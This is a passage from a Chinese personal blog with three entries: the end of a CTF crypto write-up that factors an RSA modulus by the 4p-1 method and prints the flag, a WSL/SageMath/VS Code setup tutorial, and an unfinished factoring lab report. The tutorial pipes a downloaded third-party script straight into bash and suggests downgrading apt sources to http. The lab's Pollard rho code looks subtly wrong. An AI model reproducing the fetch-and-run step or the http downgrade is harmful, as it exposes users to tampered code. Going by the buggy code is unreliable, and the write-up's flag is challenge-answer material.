class="params">N, D</span>):</span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Recovers the prime factors from a modulus using Cheng's elliptic curve complex multiplication method.</span></span><br><span class="line"><span class="string"> More information: Sedlacek V. et al., "I want to break square-free: The 4p - 1 factorization method and its RSA backdoor viability"</span></span><br><span class="line"><span class="string"> :param N: the modulus</span></span><br><span class="line"><span class="string"> :param D: the discriminant to use to generate the Hilbert polynomial</span></span><br><span class="line"><span class="string"> :return: a tuple containing the prime factors</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="keyword">assert</span> D % <span class="number">8</span> == <span class="number">3</span>, <span class="string">"D should be square-free"</span></span><br><span class="line"></span><br><span class="line"> zmodn = Zmod(N)</span><br><span class="line"> pr = zmodn[<span class="string">"x"</span>]</span><br><span class="line"></span><br><span class="line"> H = pr(hilbert_class_polynomial(-D))</span><br><span class="line"> Q = pr.quotient(H)</span><br><span class="line"> j = Q.gen()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> k = j * polynomial_inverse((<span class="number">1728</span> - j).lift(), H)</span><br><span class="line"> <span class="keyword">except</span> ArithmeticError <span class="keyword">as</span> err:</span><br><span class="line"> <span class="comment"># If some polynomial was not invertible during XGCD calculation, we can factor n.</span></span><br><span class="line"> p = gcd(<span class="built_in">int</span>(err.args[<span class="number">1</span>].lc()), N)</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">int</span>(p), <span class="built_in">int</span>(N // p)</span><br><span class="line"></span><br><span class="line"> E = EllipticCurve(Q, [<span class="number">3</span> * k, <span class="number">2</span> * k])</span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> x = zmodn.random_element()</span><br><span class="line"></span><br><span class="line"> <span class="comment">#print(f"Calculating division polynomial of Q{x}...")</span></span><br><span class="line"> z = E.division_polynomial(N, x=Q(x))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> d, _, _ = polynomial_xgcd(z.lift(), H)</span><br><span class="line"> <span class="keyword">except</span> ArithmeticError <span class="keyword">as</span> err:</span><br><span class="line"> <span class="comment"># If some polynomial was not invertible during XGCD calculation, we can factor n.</span></span><br><span class="line"> p = gcd(<span class="built_in">int</span>(err.args[<span class="number">1</span>].lc()), N)</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">int</span>(p), <span class="built_in">int</span>(N // p)</span><br><span class="line"></span><br><span class="line"> p = gcd(<span class="built_in">int</span>(d), N)</span><br><span class="line"> <span class="keyword">if</span> <span class="number">1</span> < p < N:</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">int</span>(p), <span class="built_in">int</span>(N // p)</span><br><span class="line"></span><br><span class="line">n=<span class="number">330961752887996173328854935965112588884403584531022561119743740650364958220684640754584393850796812833007843940336784599719224428969119533284286424077547165101460469847980799370419655082069179038497637761333327079374599506574723892143817226751806802676013225188467403274658211563655876500997296917421904614128056847977798146855336939306463059440416150493262973269431000762285579221126342017624118238829230679953011897314722801993750454924627074264353692060002758521401544361385231354313981836056855582929670811259113019012970540824951139489146393182532414878214182086999298397377845534568556100933934481180701997394558264969597606662342898026915506749002491326250792107348176681795942799954526068501499100232598658650184565873243525176833451664254917655703178472944744658628534195346977023418550761620254528178516972066618936960223660362493931786389085393392950207048675797593816271435700130995225483316625836104802608163745376633884840588575355936746173068655319645572100149515524131883813773486917122153248495022372690912572541775943614626733948206252900473118240712831444072243770979419529210034883903111038448366933374841531126421441232024514486168742686297481063089161977054825621099768659097509939405315056325336120929492838479309609958696957890570295444494277819063443427972643459784894450787015151715676537385237767990406742547664321563688829289809321534752244260529319454316532580416182438749849923354060125229328043961355894086576238519138868298499249023773237770103057707912709725417033309061308880583988666463892828633292839968866953776989722310954204550783825704710017434214644199415756584929214239679433211393230307782953067246529626136446314941258877439356094775337541321331600788042698664632064112896956898222397445497695982546922871549828242938368486774617350420790711093069910914135319635330786253331223459637232106417577225350441291</span></span><br><span class="line">e=<span class="number">65537</span></span><br><span class="line">c=<span class="number">187275367513186345104534865239994699892170904489725413330767115192172530253625393062151741036312498277557971553595091826062438445856091864605758318579599363539202154625683947568962358702545878760994434813222953503460910447662183200334960821110618746899798165363389255347363192576250804362413854445821046755759458439443253294822553986237695607000569717855942461517564526611106601774100617668231506539201297550376834067118784548951699927659889815770492684106287801610261026674778509245649501695344652216367741171392139049785280654043804502329999760613658697298671602787929199239524617160567336634126185042907593427921016129734757065504417112269027028799047579450965076835882020261162192475637278445255805339324893626400179818784574957669576516363342104273184813708475202313539634027764340858242764934872804570810575764191987921655276520658100755510986290562980055133376750812535713567917823663134974180449002466833109112866681229626239871954125027501071383217816313440079294139254989413050731511516498127225020975071747314764552267845933494600295296885808466296844091612401062566502515356974852161817112538289440970059783116540091633055220150093646069438113246518726017868258339512247175386052684861670431148484455765445960495130308147156436998327553854387741014177421559585683382003377803158283603889312107837885491964835073892174406797445622388505256985237867456926792546588756970045576002345376035346727906264683596628903417932566383221754976804148878057310066885140776352202510584461556988179369177560403923399529842871087532495739921906849249072433614545319458973155343802539527630971239359995893495205324483418191744545506744253222956232506980824457995662900264427265978239540089825733734306363153471606200228841997928021468359645661221933848545854596097640552489404777927679709089475954033350287287833943519423030861868256961619722983499902810335</span></span><br><span class="line">a = [<span class="number">35</span>,<span class="number">51</span>,<span class="number">91</span>,<span class="number">115</span>,<span class="number">123</span>,<span class="number">187</span>,<span class="number">235</span>,<span class="number">267</span>,<span class="number">403</span>,<span class="number">427</span>]</span><br><span class="line">b = [<span class="number">427</span>,<span class="number">403</span>,<span class="number">267</span>,<span class="number">235</span>,<span class="number">187</span>,<span class="number">123</span>,<span class="number">115</span>,<span class="number">91</span>,<span class="number">51</span>,<span class="number">35</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">roots_of_unity</span>(<span class="params">e, phi, n, rounds=<span class="number">250</span></span>):</span><br><span class="line"> <span class="comment"># Divide common factors of `phi` and `e` until they're coprime.</span></span><br><span class="line"> phi_coprime = phi</span><br><span class="line"> <span class="keyword">while</span> gcd(phi_coprime, e) != <span class="number">1</span>:</span><br><span class="line"> phi_coprime //= gcd(phi_coprime, e)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Don't know how many roots of unity there are, so just try and collect a bunch</span></span><br><span class="line"> roots = <span class="built_in">set</span>(<span class="built_in">pow</span>(i, phi_coprime, n) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, rounds))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">assert</span> <span class="built_in">all</span>(<span class="built_in">pow</span>(root, e, n) == <span class="number">1</span> <span class="keyword">for</span> root <span class="keyword">in</span> roots)</span><br><span class="line"> <span class="keyword">return</span> roots, phi_coprime</span><br><span class="line"></span><br><span class="line">start_time = time.time()</span><br><span class="line"><span class="keyword">for</span> D <span class="keyword">in</span> b:</span><br><span class="line"> p, q = factorize(n, D)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">assert</span> p*q == n</span><br><span class="line"> <span class="comment"># n is prime</span></span><br><span class="line"> <span class="comment"># Problem: e and phi are not coprime - d does not exist</span></span><br><span class="line"> phi = (p - <span class="number">1</span>) * (q-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Find e'th roots of unity modulo n</span></span><br><span class="line"> roots, phi_coprime = roots_of_unity(e, phi, n)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Use our `phi_coprime` to get one possible plaintext</span></span><br><span class="line"> d = inverse_mod(e, phi_coprime)</span><br><span class="line"> pt = <span class="built_in">pow</span>(c, d, n)</span><br><span class="line"> <span class="keyword">assert</span> <span class="built_in">pow</span>(pt, e, n) == c</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Use the roots of unity to get all other possible plaintexts</span></span><br><span class="line"> pts = [(pt * root) % n <span class="keyword">for</span> root <span class="keyword">in</span> roots]</span><br><span class="line"> pts = [long_to_bytes(<span class="built_in">int</span>(pt)) <span class="keyword">for</span> pt <span class="keyword">in</span> pts]</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> pt <span class="keyword">in</span> pts:</span><br><span class="line"> <span class="keyword">if</span> <span class="string">b'flag'</span> <span class="keyword">in</span> pt: </span><br><span class="line"> end_time = time.time()</span><br><span class="line"> <span class="built_in">print</span>(pt, <span class="string">'time:'</span>, end_time-start_time)</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure><blockquote><p>flag{2c8a995547553aa788b43f26a57111edb2588304}</p></blockquote><p><img src="https://i.imgs.ovh/2023/11/20/H05WC.png" alt="H05WC.png" /></p><blockquote><p>PS:倒着遍历a有奇效</p></blockquote>]]></content>
<tags>
<tag> ctf </tag>
<tag> crypto </tag>
</tags>
</entry>
<entry>
<title>不使用Jupyternotebook在VScode中轻松运行sage文件</title>
<link href="/2023/11/16/Fuck-sage/"/>
<url>/2023/11/16/Fuck-sage/</url>
<content type="html"><![CDATA[<h1 id="前言">前言</h1><p>公钥实验要求使用sagemath来进行一些算法的编写</p><p>目前,编写sage程序并运行主要有以下方式:</p><ul><li>使用Linux运行<ul><li>使用实体机运行<ul><li>首先apt安装sage</li><li>编写代码</li><li>使用命令 ‘sage filename’ 运行</li></ul></li><li>使用虚拟机运行<ul><li>同上</li></ul></li><li>使用wsl运行<ul><li>同上</li></ul></li></ul></li><li>使用Windows运行<ul><li>安装sage软件</li><li>使用jupyternotebook在浏览器编辑运行</li></ul></li></ul><p>无论是那种方法,在运行时要么前置步骤复杂(jupyternotebook),要么运行时要输指令。不能说十分麻烦,但就是<strong>不爽</strong>。</p><p>令人不爽的事情 <mark>一定要被解决!</mark></p><h1 id="效果">效果</h1><p>通过搜索和摸索我找到了一套如运行python一样简单的运行sage程序的方法,还有代码 <mark>高亮</mark> ,先看看效果:</p><ol><li>打开VScode新建.sage文件<img src="https://i.imgs.ovh/2023/11/16/nUzGj.png" alt="nUzGj.png" /></li><li>写完后使用快捷键Ctrl+Alt+n运行sage文件<img src="https://i.imgs.ovh/2023/11/16/nUJg2.png" alt="nUJg2.png" /></li><li>Ctrl+c可以中断代码运行</li></ol><p>是不是非常简单?非常舒适?非常爽?</p><p>接下来讲解配置方法</p><h1 id="配置">配置</h1><h2 id="安装wsl">安装wsl</h2><p>教程参考1:<a href="https://zhuanlan.zhihu.com/p/466001838">网页链接</a><br />教程参考2:<a href="https://zhuanlan.zhihu.com/p/652537694">网页链接</a></p><p>首先开启Windows的wsl功能,在搜索栏中搜索‘启用或关闭windows功能’</p><p><img src="https://i.imgs.ovh/2023/11/16/n8w4V.png" alt="n8w4V.png" /></p><p><img src="https://i.imgs.ovh/2023/11/16/n8pKI.png" alt="n8pKI.png" /></p><p>然后打开Hyper-V, 适用于Linux的Windows子系统,虚拟机平台三项功能,注意Hyper-V功能只有专业版才有,家庭版没有,一般不会影响后续的wsl安装,但是如果影响了,请跟着下面的步骤手动安装Hyper-V:</p><p>新建txt文档hyper_v.txt,复制以下脚本到里面,然后保存退出后将文件后缀名改为.bat然后右键<strong>使用管理员权限打开</strong>,等待Hyper-V安装完成后重启电脑</p><figure class="highlight bat"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">pushd</span> "%~dp0"</span><br><span class="line"><span class="built_in">dir</span> /b <span class="variable">%SystemRoot%</span>\servicing\Packages\*Hyper-V*.mum >hv.txt</span><br><span class="line"><span class="keyword">for</span> /f <span class="variable">%%i</span> <span class="keyword">in</span> ('<span class="built_in">findstr</span> /i . hv.txt <span class="number">2</span>^><span class="built_in">nul</span>') <span class="keyword">do</span> dism /online /norestart /add-package:"<span class="variable">%SystemRoot%</span>\servicing\Packages\<span class="variable">%%i</span>"</span><br><span class="line"><span class="built_in">del</span> hv.txt</span><br><span class="line">Dism /online /enable-feature /featurename:Microsoft-Hyper-V -All /LimitAccess /ALL</span><br><span class="line"><span class="built_in">Pause</span></span><br></pre></td></tr></table></figure><p>然后在需要安装的文件夹打开powershell,输入以下命令:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Invoke-WebRequest</span> <span class="literal">-Uri</span> https://wsldownload.azureedge.net/Ubuntu_2004.<span class="number">2020.424</span>.<span class="number">0</span>_x64.appx <span class="literal">-OutFile</span> Ubuntu20.<span class="number">04</span>.appx <span class="literal">-UseBasicParsing</span></span><br></pre></td></tr></table></figure><p>文件有4个多g,多安装一会也正常</p><p>然后依次执行下面四条命令:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Rename-Item</span> .\Ubuntu20.<span class="number">04</span>.appx Ubuntu.zip</span><br><span class="line"><span class="built_in">Expand-Archive</span> .\Ubuntu.zip <span class="literal">-Verbose</span></span><br><span class="line"><span class="built_in">cd</span> .\Ubuntu\</span><br><span class="line">.\ubuntu2004.exe</span><br></pre></td></tr></table></figure><p>第一次安装会让你输入用户名和密码,输入即可</p><p>最后可以在powershell输入以下命令查看wsl版本:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wsl <span class="literal">-l</span> <span class="literal">-v</span></span><br></pre></td></tr></table></figure><p>由于国内种种不可抗拒因素,自带的软件源很慢,所以要换软件源,一般换成清华源。另外,wsl的Ubuntu证书是过期的,如果你想手动还源的话请记得先更新证书</p><p>使用大佬写好的脚本直接换源(wsl中执行):</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://gitee.com/lin-xi-269/tools/raw/master/os/QHubuntu20.04 && bash QHubuntu20.04</span><br></pre></td></tr></table></figure><p>换完源后记得删掉换源脚本,以防哪次不小心运行了:</p><p><img src="https://i.imgs.ovh/2023/11/16/n8m0W.png" alt="n8m0W.png" /></p><p>然后输入</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get upgrade</span><br></pre></td></tr></table></figure><p>就可以更新软件源了</p><blockquote><p>注意,在这一步我遇到了无法正确更新软件源的问题,原因是wsl的Ubuntu的证书过期了,需要手动更新证书。或者如果你像我一样懒,而且使用wsl没有安全的需求,就直接将软件源里面的https都改成http也能更新软件源,在/etc/apt/sources.list中修改</p></blockquote><h2 id="安装sagemath">安装sagemath</h2><p>wsl中输入命令:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install sagemath sagemath-doc sagemath-jupyter</span><br></pre></td></tr></table></figure><p>等待安装好就行了</p><p>在wsl中输入sage就可以运行sagemath:</p><p><img src="https://i.imgs.ovh/2023/11/16/n4zNC.png" alt="n4zNC.png" /></p><p>但是咱们的目标不是在这儿运行sage,而是在VScode中运行sage,所以继续</p><h2 id="连接vscode">连接VScode</h2><p>安装wsl插件,直接在VScode的Extensions中搜索wsl,安装即可</p><p><img src="https://i.imgs.ovh/2023/11/16/n4j7m.png" alt="n4j7m.png" /></p><p>可以试试左下角的wsl按钮,点击后点击 ‘Connected to wsl’ 再打开终端会打开wsl的终端。首次连接会下载服务器,等一会就行了</p><p><img src="https://i.imgs.ovh/2023/11/16/n448N.png" alt="n448N.png" /></p><p><img src="https://i.imgs.ovh/2023/11/16/n48iT.png" alt="n48iT.png" /></p><p>到这里,wsl和VScode的连接就完成了</p><h2 id="安装插件实现快捷键运行sage文件">安装插件实现快捷键运行sage文件</h2><p>教程参考:<a href="https://blog.csdn.net/u010883831/article/details/128262134">网页链接</a></p><h3 id="直接运行">直接运行</h3><p>现在编辑运行sage文件其实已经够轻松了,直接创建sage文件,编辑结束后再终端中输入</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wsl sage filename</span><br></pre></td></tr></table></figure><p>就可以运行了:<br /><img src="https://i.imgs.ovh/2023/11/16/n4Nw2.png" alt="n4Nw2.png" /></p><p>但是还要我输命令,真不爽,所以我找到了一个插件,可以实现快捷键运行sage文件</p><h3 id="快捷键运行">快捷键运行</h3><p>安装插件:Code Runner</p><p><img src="https://i.imgs.ovh/2023/11/16/n4a7j.png" alt="n4a7j.png" /></p><p>这个插件的作用是可以在VScode中运行各种语言的文件,原理是检测后缀名来判断文件,然后输入相应文件的运行命令到终端。而这个插件自己是没有sage的运行命令的,所以我们要自己添加:</p><p>Ctrl+Shift+P,打开用户设置(Open User Settings),搜索Code-runner找到对应配置,Executor Map 和 Executor Map By File Extension,把两个 ‘在settings.json中编辑’ 都点了,就会在settings.json生成相关代码 然后在settings.json中编辑</p><p><img src="https://i.imgs.ovh/2023/11/16/n5glI.png" alt="n5glI.png" /></p><p><img src="https://i.imgs.ovh/2023/11/16/n5dTH.png" alt="n5dTH.png" /></p><p><img src="https://i.imgs.ovh/2023/11/16/n5YQO.png" alt="n5YQO.png" /></p><p>进行配置:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"code-runner.executorMapByFileExtension"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">".sage"</span><span class="punctuation">:</span> <span class="string">"cd $dir && wsl sage \"$fileName\""</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">".py"</span> <span class="punctuation">:</span> <span class="string">"python"</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"code-runner.executorMap"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"python"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>解释一下在干嘛:上面的是根据.sage来判断是sage文件,然后使用相关命令。下面为了不和python冲突,所以把python的命令设置为null</p><h3 id="终端中运行">终端中运行</h3><p>Code Runner默认在OUTPUT中运行对应文件,结束后再输出出来,很蠢,令人不爽,在Code Runner的设置中修改:</p><p><img src="https://i.imgs.ovh/2023/11/16/nY4hp.png" alt="nY4hp.png" /></p><p>有个 ‘在运行前保存’ 也建议加上,方便我这样的懒人</p><p>然后就可以使用快捷键运行sage文件了,快捷键是Ctrl+Alt+n<br /><img src="https://i.imgs.ovh/2023/11/16/nUJg2.png" alt="nUJg2.png" /></p><p>想要中断运行就Ctrl+c就行了</p><h2 id="一些收尾">一些收尾</h2><h3 id="sage代码高亮">sage代码高亮</h3><p>现在sage代码能狗运行了,但是没有代码高亮,由于sage基于python,我们把sage文件的代码高亮设置为python就行了</p><blockquote><p>由于识别为python文件,sage中有些python没有的语法会被识别为错误,但是不影响运行</p></blockquote><p>在settings.json中加上这一段:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"files.associations"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"*.sage"</span><span class="punctuation">:</span> <span class="string">"python"</span></span><br><span class="line"><span class="punctuation">}</span><span class="punctuation">,</span></span><br></pre></td></tr></table></figure><p>记得在settings.json中加入新的配置之前要在前面加上逗号</p><h3 id="sagepy文件隐藏">.sage.py文件隐藏</h3><p>每次运行都会产生一个*.sage.py文件,这个文件是sage运行时产生的,看着不爽。</p><p><img src="https://i.imgs.ovh/2023/11/16/nYj2R.png" alt="nYj2R.png" /></p><p>我们可以在settings.json中设置隐藏这个文件:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"files.exclude"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"**/*.sage.py"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>至此就全部完成了sage在VScode上的配置了</p><h1 id="结语">结语</h1><p><mark><strong>爽多了</strong></mark></p>]]></content>
<tags>
<tag> daily </tag>
<tag> school </tag>
</tags>
</entry>
<entry>
<title>第四次公钥实验</title>
<link href="/2023/11/01/PKC-ex-4/"/>
<url>/2023/11/01/PKC-ex-4/</url>
<content type="html"><![CDATA[<h1 id="实验报告">实验报告</h1><h2 id="实验内容">实验内容</h2><h2 id="相关理论">相关理论</h2><h3 id="试除法">试除法</h3><h3 id="pollard-rho-算法">Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ρ</mi></mrow><annotation encoding="application/x-tex">\rho</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">ρ</span></span></span></span> 算法</h3><h3 id="pollard-p-1-算法">Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">p-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7777700000000001em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span> 算法</h3><h2 id="代码分析">代码分析</h2><h3 id="sage部分代码分析">sage部分代码分析</h3><h4 id="试除法-2">试除法</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># sage 试除法</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">find_prime_factors</span>(<span class="params">n</span>):</span><br><span class="line"> factors = []</span><br><span class="line"> <span class="keyword">if</span> is_prime(n):</span><br><span class="line"> <span class="keyword">return</span> [n]</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, n):</span><br><span class="line"> <span class="keyword">while</span> n % i == <span class="number">0</span>:</span><br><span class="line"> factors.append(i)</span><br><span class="line"> n = n // i</span><br><span class="line"> <span class="keyword">if</span> n > <span class="number">1</span>:</span><br><span class="line"> factors.append(n)</span><br><span class="line"> <span class="keyword">return</span> factors</span><br><span class="line"></span><br><span class="line">test_list = [<span class="number">4279209601</span>, <span class="number">11626953439</span>, <span class="number">192311489255622</span>, <span class="number">16095650737563753533</span>, <span class="number">45808220048235498832399142287</span>, <span class="number">149735462706744928439306661202330062437</span>, <span class="number">548025133786371639137565044874029366557</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> n <span class="keyword">in</span> test_list:</span><br><span class="line"> start_time = time()</span><br><span class="line"> prime_factors = find_prime_factors(n)</span><br><span class="line"> end_time = time()</span><br><span class="line"> execution_time = end_time - start_time</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"Number: <span class="subst">{n}</span>, Prime Factors: <span class="subst">{prime_factors}</span>, Execution Time: <span class="subst">{execution_time}</span> seconds"</span>)</span><br></pre></td></tr></table></figure><h4 id="pollard-rho-算法-2">Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ρ</mi></mrow><annotation encoding="application/x-tex">\rho</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">ρ</span></span></span></span> 算法</h4><h4 id="pollard-p-1-算法-2">Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">p-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7777700000000001em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span> 算法</h4><h3 id="ntl部分代码分析">NTL部分代码分析</h3><h4 id="试除法-3">试除法</h4><h4 id="pollard-rho-算法-3">Pollard <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ρ</mi></mrow><annotation encoding="application/x-tex">\rho</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">ρ</span></span></span></span> 算法</h4><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// NTL Pollard rho 算法</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><NTL/ZZ.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><NTL/RR.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><NTL/BasicThreadPool.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><chrono></span></span></span><br><span class="line"></span><br><span class="line"><span class="function">NTL_CLIENT</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">ZZ <span class="title">func</span><span class="params">(ZZ n, ZZ c)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">SqrMod</span>(n, c);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function">ZZ <span class="title">Pollard_Rho</span><span class="params">(ZZ n)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (n == <span class="number">4</span>) <span class="keyword">return</span> <span class="number">2</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">ProbPrime</span>(n, <span class="number">50</span>) == <span class="number">1</span>) <span class="keyword">return</span> n;</span><br><span class="line"> ZZ x = <span class="built_in">RandomBnd</span>(n - <span class="number">2</span>) + <span class="number">2</span>;</span><br><span class="line"> ZZ y = x;</span><br><span class="line"> ZZ c = <span class="built_in">RandomBnd</span>(n - <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line"> ZZ d = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (d == <span class="number">1</span>) {</span><br><span class="line"> x = <span class="built_in">func</span>(x, c);</span><br><span class="line"> y = <span class="built_in">func</span>(<span class="built_in">func</span>(y, c), c);</span><br><span class="line"> d = <span class="built_in">GCD</span>(<span class="built_in">abs</span>(x - y), n);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> d;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> ZZ tmp_num[] = {<span class="number">4279209601</span>, <span class="number">11626953439</span>, <span class="number">192311489255622</span>, <span class="number">16095650737563753533</span>, <span class="number">45808220048235498832399142287</span>, <span class="number">149735462706744928439306661202330062437</span>, <span class="number">548025133786371639137565044874029366557</span>};</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">7</span>; i++) {</span><br><span class="line"> <span class="keyword">auto</span> start = std::chrono::high_resolution_clock::<span class="built_in">now</span>();</span><br><span class="line"> ZZ factor = <span class="built_in">Pollard_Rho</span>(tmp_num[i]);</span><br><span class="line"> <span class="keyword">auto</span> stop = std::chrono::high_resolution_clock::<span 